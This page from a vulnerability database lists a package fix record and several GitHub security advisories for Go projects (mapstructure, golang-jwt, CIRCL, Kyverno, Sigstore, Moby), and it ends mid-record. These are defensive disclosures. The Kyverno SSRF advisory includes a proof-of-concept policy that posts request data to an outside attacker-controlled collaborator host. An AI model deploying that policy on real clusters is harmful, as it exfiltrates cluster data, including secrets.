Vulnerability-Lookup

Vulnerability from cleanstart

Published

2026-07-30 07:10

Modified

2026-07-30 09:33

Summary

Security fixes in kyverno-policy-reporter-kyverno-plugin-fips 1.4.2-r4

Details

Package kyverno-policy-reporter-kyverno-plugin-fips version 1.4.2-r4 fixes 22 vulnerabilities: ghsa-v23v-6jw2-98fq, ghsa-459x-q9hg-4gpq, ghsa-4qg8-fj49-pxjh, ghsa-6m8w-jc87-6cr7, ghsa-f83f-xpx7-ffpw...

References

URL

Type

https://github.com/kyverno/policy-reporter-kyvern…

WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Alpine",
        "name": "kyverno-policy-reporter-kyverno-plugin-fips"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.2-r4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.4.2-r4"
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Package kyverno-policy-reporter-kyverno-plugin-fips version 1.4.2-r4 fixes 22 vulnerabilities: ghsa-v23v-6jw2-98fq, ghsa-459x-q9hg-4gpq, ghsa-4qg8-fj49-pxjh, ghsa-6m8w-jc87-6cr7, ghsa-f83f-xpx7-ffpw...",
  "id": "CLEANSTART-2026-XZ70662",
  "modified": "2026-07-30T09:33:38Z",
  "published": "2026-07-30T07:10:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/policy-reporter-kyverno-plugin"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes in kyverno-policy-reporter-kyverno-plugin-fips 1.4.2-r4",
  "upstream": [
    "ghsa-v23v-6jw2-98fq",
    "ghsa-459x-q9hg-4gpq",
    "ghsa-4qg8-fj49-pxjh",
    "ghsa-6m8w-jc87-6cr7",
    "ghsa-f83f-xpx7-ffpw",
    "ghsa-jrr2-x33p-6hvc",
    "ghsa-mh63-6h87-95cp",
    "ghsa-qjvc-p88j-j9rm",
    "ghsa-r5p3-955p-5ggq",
    "ghsa-2464-8j7c-4cjm",
    "ghsa-88jx-383q-w4qc",
    "ghsa-95pr-fxf5-86gv",
    "ghsa-c5q2-7r4c-mv6g",
    "ghsa-c5q2-7r4c-mv6g",
    "ghsa-c6gw-w398-hv78",
    "ghsa-c77r-fh37-x2px",
    "ghsa-fv92-fjc5-jj9h",
    "ghsa-v6v8-xj6m-xwqh",
    "ghsa-xw73-rw38-6vjc",
    "ghsa-29wx-vh33-7x7r",
    "ghsa-2x5j-vhc8-9cwm",
    "ghsa-4vq8-7jfc-9cvp"
  ]
}

GHSA-2464-8J7C-4CJM

Vulnerability from github – Published: 2025-08-21 14:37 – Updated: 2026-01-27 21:01

Summary

go-viper's mapstructure May Leak Sensitive Information in Logs When Processing Malformed Data

Details

Summary

Use of this library in a security-critical context may result in leaking sensitive information, if used to process sensitive fields.

Details

OpenBao (and presumably HashiCorp Vault) have surfaced error messages from mapstructure as follows:

https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L43-L50

            _, _, err := d.getPrimitive(field, schema)
            if err != nil {
                return fmt.Errorf("error converting input for field %q: %w", field, err)
            }

where this calls mapstructure.WeakDecode(...): https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L181-L193


func (d *FieldData) getPrimitive(k string, schema *FieldSchema) (interface{}, bool, error) {
    raw, ok := d.Raw[k]
    if !ok {
        return nil, false, nil
    }

    switch t := schema.Type; t {
    case TypeBool:
        var result bool
        if err := mapstructure.WeakDecode(raw, &result); err != nil {
            return nil, false, err
        }
        return result, true, nil

Notably, WeakDecode(...) eventually calls one of the decode helpers, which surfaces the original value via strconv helpers:

https://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L720-L727

https://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L791-L798

https://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/decode_hooks.go#L180

& more. These are different code paths than are fixed in the previous iteration at https://github.com/go-viper/mapstructure/security/advisories/GHSA-fv92-fjc5-jj9h.

PoC

To reproduce with OpenBao:

$ podman run --pull=always -p 8300:8300 openbao/openbao:latest server -dev -dev-root-token-id=root -dev-listen-address=0.0.0.0:8300

and in a new tab:

$ BAO_TOKEN=root BAO_ADDR=http://localhost:8300 bao auth enable userpass
Success! Enabled userpass auth method at: userpass/
$ curl -X PUT -H "X-Vault-Request: true" -H "X-Vault-Token: root" -d '{"ttl":"asdf"}' "http://localhost:8200/v1/auth/userpass/users/asdf"

--> server logs:

2025-06-25T21:32:25.101-0500 [ERROR] core: failed to run existence check: error="error converting input for field \"ttl\": time: invalid duration \"asdf\""

Impact

This is an information disclosure bug with little mitigation. See https://discuss.hashicorp.com/t/hcsec-2025-09-vault-may-expose-sensitive-information-in-error-logs-when-processing-malformed-data-with-the-kv-v2-plugin/74717 for a previous version. That version was fixed, but this is in the second part of that error message (starting at '' expected a map, got 'string' -- when the field type is string and a map is provided, we see the above information leak -- the previous example had a map type field with a string value provided).

This was rated 4.5 Medium by HashiCorp in the past iteration.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-viper/mapstructure/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-11065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-117"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T14:37:19Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nUse of this library in a security-critical context may result in leaking sensitive information, if used to process sensitive fields.\n\n### Details\n\nOpenBao (and presumably HashiCorp Vault) have surfaced error messages from `mapstructure` as follows:\n\nhttps://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L43-L50\n\n```go\n\t\t\t_, _, err := d.getPrimitive(field, schema)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error converting input for field %q: %w\", field, err)\n\t\t\t}\n```\n\nwhere this calls `mapstructure.WeakDecode(...)`: https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L181-L193\n\n```go\n\nfunc (d *FieldData) getPrimitive(k string, schema *FieldSchema) (interface{}, bool, error) {\n\traw, ok := d.Raw[k]\n\tif !ok {\n\t\treturn nil, false, nil\n\t}\n\n\tswitch t := schema.Type; t {\n\tcase TypeBool:\n\t\tvar result bool\n\t\tif err := mapstructure.WeakDecode(raw, \u0026result); err != nil {\n\t\t\treturn nil, false, err\n\t\t}\n\t\treturn result, true, nil\n```\n\nNotably, `WeakDecode(...)` eventually calls one of the decode helpers, which surfaces the original value via `strconv` helpers:\n\nhttps://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L720-L727\n\nhttps://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L791-L798\n\nhttps://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/decode_hooks.go#L180\n\n\u0026 more. These are different code paths than are fixed in the previous iteration at https://github.com/go-viper/mapstructure/security/advisories/GHSA-fv92-fjc5-jj9h.\n\n### PoC\n\nTo reproduce with OpenBao:\n\n```\n$ podman run --pull=always -p 8300:8300 openbao/openbao:latest server -dev -dev-root-token-id=root -dev-listen-address=0.0.0.0:8300\n```\n\nand in a new tab:\n\n```\n$ BAO_TOKEN=root BAO_ADDR=http://localhost:8300 bao auth enable userpass\nSuccess! Enabled userpass auth method at: userpass/\n$ curl -X PUT -H \"X-Vault-Request: true\" -H \"X-Vault-Token: root\" -d \u0027{\"ttl\":\"asdf\"}\u0027 \"http://localhost:8200/v1/auth/userpass/users/asdf\"\n\n--\u003e server logs:\n\n2025-06-25T21:32:25.101-0500 [ERROR] core: failed to run existence check: error=\"error converting input for field \\\"ttl\\\": time: invalid duration \\\"asdf\\\"\"\n```\n\n### Impact\n\nThis is an information disclosure bug with little mitigation. See https://discuss.hashicorp.com/t/hcsec-2025-09-vault-may-expose-sensitive-information-in-error-logs-when-processing-malformed-data-with-the-kv-v2-plugin/74717 for a previous version. That version was fixed, but this is in the second part of that error message (starting at `\u0027\u0027 expected a map, got \u0027string\u0027` -- when the field type is `string` and a `map` is provided, we see the above information leak -- the previous example had a `map` type field with a `string` value provided).\n\nThis was rated 4.5 Medium by HashiCorp in the past iteration.",
  "id": "GHSA-2464-8j7c-4cjm",
  "modified": "2026-01-27T21:01:22Z",
  "published": "2025-08-21T14:37:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-viper/mapstructure/security/advisories/GHSA-2464-8j7c-4cjm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11065"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-viper/mapstructure/commit/742921c9ba2854d27baa64272487fc5075d2c39c"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-11065"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391829"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-viper/mapstructure"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3900"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "go-viper\u0027s mapstructure May Leak Sensitive Information in Logs When Processing Malformed Data"
}

GHSA-29WX-VH33-7X7R

Vulnerability from github – Published: 2024-11-04 23:22 – Updated: 2024-11-12 21:32

Summary

Bad documentation of error handling in ParseWithClaims can lead to potentially dangerous situations

Details

Summary

Unclear documentation of the error behavior in ParseWithClaims can lead to situation where users are potentially not checking errors in the way they should be. Especially, if a token is both expired and invalid, the errors returned by ParseWithClaims return both error codes. If users only check for the jwt.ErrTokenExpired using error.Is, they will ignore the embedded jwt.ErrTokenSignatureInvalid and thus potentially accept invalid tokens.

Fix

We have back-ported the error handling logic from the v5 branch to the v4 branch. In this logic, the ParseWithClaims function will immediately return in "dangerous" situations (e.g., an invalid signature), limiting the combined errors only to situations where the signature is valid, but further validation failed (e.g., if the signature is valid, but is expired AND has the wrong audience). This fix is part of the 4.5.1 release.

Workaround

We are aware that this changes the behaviour of an established function and is not 100 % backwards compatible, so updating to 4.5.1 might break your code. In case you cannot update to 4.5.0, please make sure that you are properly checking for all errors ("dangerous" ones first), so that you are not running in the case detailed above.

token, err := /* jwt.Parse or similar */
if token.Valid {
    fmt.Println("You look nice today")
} else if errors.Is(err, jwt.ErrTokenMalformed) {
    fmt.Println("That's not even a token")
} else if errors.Is(err, jwt.ErrTokenUnverifiable) {
    fmt.Println("We could not verify this token")
} else if errors.Is(err, jwt.ErrTokenSignatureInvalid) {
    fmt.Println("This token has an invalid signature")
} else if errors.Is(err, jwt.ErrTokenExpired) || errors.Is(err, jwt.ErrTokenNotValidYet) {
    // Token is either expired or not active yet
    fmt.Println("Timing is everything")
} else {
    fmt.Println("Couldn't handle this token:", err)
}

Severity

3.1 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

2.3 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/golang-jwt/jwt/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51744"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-04T23:22:41Z",
    "nvd_published_at": "2024-11-04T22:15:03Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nUnclear documentation of the error behavior in `ParseWithClaims` can lead to situation where users are potentially not checking errors in the way they should be. Especially, if a token is both expired and invalid, the errors returned by `ParseWithClaims` return both error codes. If users only check for the `jwt.ErrTokenExpired ` using `error.Is`, they will ignore the embedded `jwt.ErrTokenSignatureInvalid` and thus potentially accept invalid tokens.\n\n### Fix\n\nWe have back-ported the error handling logic from the `v5` branch to the `v4` branch. In this logic, the `ParseWithClaims` function will immediately return in \"dangerous\" situations (e.g., an invalid signature), limiting the combined errors only to situations where the signature is valid, but further validation failed (e.g., if the signature is valid, but is expired AND has the wrong audience). This fix is part of the 4.5.1 release.\n\n### Workaround \n\nWe are aware that this changes the behaviour of an established function and is not 100 % backwards compatible, so updating to 4.5.1 might break your code. In case you cannot update to 4.5.0, please make sure that you are properly checking for all errors (\"dangerous\" ones first), so that you are not running in the case detailed above.\n\n```Go\ntoken, err := /* jwt.Parse or similar */\nif token.Valid {\n\tfmt.Println(\"You look nice today\")\n} else if errors.Is(err, jwt.ErrTokenMalformed) {\n\tfmt.Println(\"That\u0027s not even a token\")\n} else if errors.Is(err, jwt.ErrTokenUnverifiable) {\n\tfmt.Println(\"We could not verify this token\")\n} else if errors.Is(err, jwt.ErrTokenSignatureInvalid) {\n\tfmt.Println(\"This token has an invalid signature\")\n} else if errors.Is(err, jwt.ErrTokenExpired) || errors.Is(err, jwt.ErrTokenNotValidYet) {\n\t// Token is either expired or not active yet\n\tfmt.Println(\"Timing is everything\")\n} else {\n\tfmt.Println(\"Couldn\u0027t handle this token:\", err)\n}\n```",
  "id": "GHSA-29wx-vh33-7x7r",
  "modified": "2024-11-12T21:32:34Z",
  "published": "2024-11-04T23:22:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/golang-jwt/jwt/security/advisories/GHSA-29wx-vh33-7x7r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51744"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang-jwt/jwt/commit/7b1c1c00a171c6c79bbdb40e4ce7d197060c1c2c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/golang-jwt/jwt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bad documentation of error handling in ParseWithClaims can lead to potentially dangerous situations"
}

GHSA-2X5J-VHC8-9CWM

Vulnerability from github – Published: 2025-06-10 21:18 – Updated: 2025-10-23 17:36

Summary

CIRCL-Fourq: Missing and wrong validation can lead to incorrect results

Details

Impact

The CIRCL implementation of FourQ fails to validate user-supplied low-order points during Diffie-Hellman key exchange, potentially allowing attackers to force the identity point and compromise session security.

Moreover, there is an incorrect point validation in ScalarMult can lead to incorrect results in the isEqual function and if a point is on the curve.

Patches

Version 1.6.1 (https://github.com/cloudflare/circl/tree/v1.6.1) mitigates the identified issues.

We acknowledge Alon Livne (Botanica Software Labs) for the reported findings.

Severity

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudflare/circl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-8556"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-10T21:18:33Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Impact\nThe CIRCL implementation of FourQ fails to validate user-supplied low-order points during Diffie-Hellman key exchange, potentially allowing attackers to force the identity point and compromise session security.\n\nMoreover, there is an incorrect point validation in ScalarMult can lead to incorrect results in the isEqual function and if a point is on the curve.\n\n\n### Patches\nVersion 1.6.1 (https://github.com/cloudflare/circl/tree/v1.6.1) mitigates the identified issues.\n\nWe acknowledge Alon Livne (Botanica Software Labs) for the reported findings.",
  "id": "GHSA-2x5j-vhc8-9cwm",
  "modified": "2025-10-23T17:36:51Z",
  "published": "2025-06-10T21:18:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/circl/security/advisories/GHSA-2x5j-vhc8-9cwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8556"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-8556"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2371624"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudflare/circl"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/circl/tree/v1.6.1"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=45669593"
    },
    {
      "type": "WEB",
      "url": "https://www.botanica.software/blog/cryptographic-issues-in-cloudflares-circl-fourq-implementation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CIRCL-Fourq: Missing and wrong validation can lead to incorrect results"
}

GHSA-459X-Q9HG-4GPQ

Vulnerability from github – Published: 2025-04-15 21:19 – Updated: 2025-04-23 15:11

Summary

Kyverno vulnerable to SSRF via Service Calls

Details

Summary

An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.

Details

According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.

https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls

PoC

Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: check-namespaces      
spec:
  rules:
  - name: call-extension
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    context:
    - name: result
      apiCall:
        method: POST
        data:
        - key: namespace
          value: "{{request.namespace}}"
        service:
          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          
    validate:
      message: "namespace {{request.namespace}} is not allowed"
      deny:
        conditions:
          all:
          - key: "{{ result.allowed }}"
            operator: Equals
            value: false

Now let's create some configmap:

kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm

Look at the Burp Collaborator logs: Снимок экрана 2025-02-21 в 17 31 25

Impact

An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.

Severity

7.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-15T21:19:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.\n\n### Details\nAccording to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.\n\nhttps://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls\n\n### PoC\nCreate a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: check-namespaces      \nspec:\n  rules:\n  - name: call-extension\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    context:\n    - name: result\n      apiCall:\n        method: POST\n        data:\n        - key: namespace\n          value: \"{{request.namespace}}\"\n        service:\n          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          \n    validate:\n      message: \"namespace {{request.namespace}} is not allowed\"\n      deny:\n        conditions:\n          all:\n          - key: \"{{ result.allowed }}\"\n            operator: Equals\n            value: false\n```\nNow let\u0027s create some configmap:\n```bash\nkubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm\n```\nLook at the Burp Collaborator logs:\n\u003cimg width=\"723\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-02-21 \u0432 17 31 25\" src=\"https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2\" /\u003e\n\n\n### Impact\nAn attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.",
  "id": "GHSA-459x-q9hg-4gpq",
  "modified": "2025-04-23T15:11:02Z",
  "published": "2025-04-15T21:19:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3615"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kyverno vulnerable to SSRF via Service Calls"
}

GHSA-4QG8-FJ49-PXJH

Vulnerability from github – Published: 2025-12-05 18:19 – Updated: 2025-12-05 18:19

Summary

Sigstore Timestamp Authority allocates excessive memory during request parsing

Details

Impact

Excessive memory allocation

Function api.ParseJSONRequest currently splits (via a call to strings.Split) an optionally-provided OID (which is untrusted data) on periods. Similarly, function api.getContentType splits the Content-Type header (which is also untrusted data) on an application string.

As a result, in the face of a malicious request with either an excessively long OID in the payload containing many period characters or a malformed Content-Type header, a call to api.ParseJSONRequest or api.getContentType incurs allocations of O(n) bytes (where n stands for the length of the function's argument). Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)

Patches

Upgrade to v2.0.3.

Workarounds

There are no workarounds with the service itself. If the service is behind a load balancer, configure the load balancer to reject excessively large requests.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sigstore/timestamp-authority"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66564"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-05T18:19:00Z",
    "nvd_published_at": "2025-12-04T23:15:47Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\n**Excessive memory allocation**\n\nFunction [api.ParseJSONRequest](https://github.com/sigstore/timestamp-authority/blob/26d7d426d3000abdbdf2df34de56bb92246c0365/pkg/api/timestamp.go#L63) currently splits (via a call to [strings.Split](https://pkg.go.dev/strings#Split)) an optionally-provided OID (which is untrusted data) on periods. Similarly, function [api.getContentType](https://github.com/sigstore/timestamp-authority/blob/26d7d426d3000abdbdf2df34de56bb92246c0365/pkg/api/timestamp.go#L114) splits the `Content-Type` header (which is also untrusted data) on an `application` string.\n\nAs a result, in the face of a malicious request with either an excessively long OID in the payload containing many period characters or a malformed `Content-Type` header, a call to `api.ParseJSONRequest` or `api.getContentType` incurs allocations of O(n) bytes (where n stands for the length of the function\u0027s argument). Relevant weakness: [CWE-405: Asymmetric Resource Consumption (Amplification)](https://cwe.mitre.org/data/definitions/405.html)\n\n### Patches\n\nUpgrade to v2.0.3.\n\n### Workarounds\n\nThere are no workarounds with the service itself. If the service is behind a load balancer, configure the load balancer to reject excessively large requests.",
  "id": "GHSA-4qg8-fj49-pxjh",
  "modified": "2025-12-05T18:19:00Z",
  "published": "2025-12-05T18:19:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/timestamp-authority/security/advisories/GHSA-4qg8-fj49-pxjh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66564"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/timestamp-authority/commit/0cae34e197d685a14904e0bad135b89d13b69421"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sigstore/timestamp-authority"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sigstore Timestamp Authority allocates excessive memory during request parsing"
}

GHSA-4VQ8-7JFC-9CVP

Vulnerability from github – Published: 2025-07-29 19:56 – Updated: 2026-03-27 17:37

Summary

Moby firewalld reload removes bridge network isolation

Details

Moby is an open source container framework developed by Docker Inc. that is distributed as Docker Engine, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (dockerd), which is developed as moby/moby is commonly referred to as Docker, or Docker Engine.

Firewalld is a daemon used by some Linux distributions to provide a dynamically managed firewall. When Firewalld is running, Docker uses its iptables backend to create rules, including rules to isolate containers in one bridge network from containers in other bridge networks.

Impact

The iptables rules created by Docker are removed when firewalld is reloaded using, for example "firewall-cmd --reload", "killall -HUP firewalld", or "systemctl reload firewalld".

When that happens, Docker must re-create the rules. However, in affected versions of Docker, the iptables rules that isolate containers in different bridge networks from each other are not re-created.

Once these rules have been removed, containers have access to any port, on any container, in any non-internal bridge network, running on the Docker host.

Containers running in networks created with --internal or equivalent have no access to other networks. Containers that are only connected to these networks remain isolated after a firewalld reload.

Where Docker Engine is not running in the host's network namespace, it is unaffected. Including, for example, Rootless Mode, and Docker Desktop.

Patches

Moby releases 28.0.0 and newer are not affected. A fix is available in moby release 25.0.13.

Workarounds

After reloading firewalld, either: - Restart the docker daemon, - Re-create bridge networks, or - Use rootless mode.

References

https://firewalld.org/ https://firewalld.org/documentation/howto/reload-firewalld.html

Severity

3.3 (Low)


                  
                    CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.0.12"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/docker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/docker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "26.0.0-rc1"
            },
            {
              "fixed": "28.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-909"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-29T19:56:25Z",
    "nvd_published_at": "2025-07-30T14:15:28Z",
    "severity": "LOW"
  },
  "details": "Moby is an open source container framework developed by Docker Inc. that is distributed as Docker Engine, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (dockerd), which is developed as [moby/moby](https://github.com/moby/moby) is commonly referred to as Docker, or Docker Engine.\n\nFirewalld is a daemon used by some Linux distributions to provide a dynamically managed firewall. When Firewalld is running, Docker uses its iptables backend to create rules, including rules to isolate containers in one bridge network from containers in other bridge networks.\n\n### Impact\n\nThe iptables rules created by Docker are removed when firewalld is reloaded using, for example \"firewall-cmd --reload\", \"killall -HUP firewalld\", or \"systemctl reload firewalld\".\n\nWhen that happens, Docker must re-create the rules. However, in affected versions of Docker, the iptables rules that isolate containers in different bridge networks from each other are not re-created.\n\nOnce these rules have been removed, containers have access to any port, on any container, in any non-internal bridge network, running on the Docker host.\n\nContainers running in networks created with `--internal` or equivalent have no access to other networks. Containers that are only connected to these networks remain isolated after a firewalld reload.\n\nWhere Docker Engine is not running in the host\u0027s network namespace, it is unaffected. Including, for example, Rootless Mode, and 